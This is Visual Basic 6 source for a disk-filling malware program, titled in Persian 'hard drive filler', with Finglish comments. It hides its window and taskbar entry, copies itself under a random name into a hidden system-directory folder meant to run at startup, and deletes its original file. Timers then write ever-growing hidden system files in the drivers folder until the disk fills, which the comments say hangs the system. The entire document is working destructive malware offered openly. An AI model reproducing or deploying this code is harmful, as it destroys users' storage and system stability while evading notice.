پر کننده هارد

'Rink eight
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Function SysDir() As String
  Dim sysPath As String
  sysPath = String(255, vbNullChar)
  GetSystemDirectory sysPath, 255
  SysDir = Left(sysPath, InStr(sysPath, vbNullChar) - 1)
End Function
Private Sub Form_Load()
If App.PrevInstance Then End
Call Randomize
Hide
App.Title = ""
App.TaskVisible = False
Register
On Error Resume Next
If App.Path <> SysDir & "winnt" Then
Dim s, d, srvname As String
 srvname = List1.List(Int(Rnd * List1.ListCount))
s = """" & App.Path & "" & App.EXEName & ".exe" & """"
FileCopy App.Path & "" & App.EXEName & ".exe", SysDir & "winnt" & srvname
Shell (SysDir & "winnt" & srvname & " " & s), vbNormalFocus
SetAttr SysDir & "winnt" & srvname, vbHidden + vbReadOnly 'Dadan Kheslat Hidden Va Read Only
End
Else
   If Command <> "" Then
   d = Command
Shell ("cmd /c del " & d), vbHide 'Inja Fileh Melt Misheh
End If
End If
End Sub
Sub Register()
On Error GoTo d
Dim Demon As New FileSystemObject
Demon.CreateFolder SysDir & "winnt" 'Har chi to Poosheh Winnt Copy Sheh To Startup ejra misheh
Exit Sub                                             '(Bad Az Reset Dovarh Ejra Misheh)
d:
Exit Sub
End Sub

Private Sub Timer1_Timer()
Dim num As Long
Call Randomize
num = Rnd * 1000000000
Label1.Caption = num & "." & num
Open SysDir & "drivers" & Label1.Caption For Output As #1
Print #1, "Salam"
Close #1
SetAttr SysDir & "drivers" & Label1.Caption, vbSystem + vbHidden
Timer1.Enabled = False
Timer3.Enabled = True
Timer2.Enabled = True
End Sub
Private Sub Timer2_Timer()
Label2.Caption = Label2 + 90000 'Har chi iN Addado bozorg tar koni hard
End Sub                                    'zood tar por misheh bishtar iz in system hang mikoneh
Private Sub Timer3_Timer()
On Error GoTo d 'barayeh ineh keh ageh Erroreh Ovr Flow Dad Beh D: Bereh TA YEK FILEH DIGEH Besazeh
Open SysDir & "drivers" & Label1.Caption For Binary As #1
Seek #1, Label2.Caption
Put #1, , "Salam !!!!!!!!!!*^%@$@$%@!%                                                                                                    "
Close #1
Exit Sub
d:
Close #1
Timer3.Enabled = False
Timer2.Enabled = False
Timer1.Enabled = True
End Sub
'diricted Be Majid farhangfar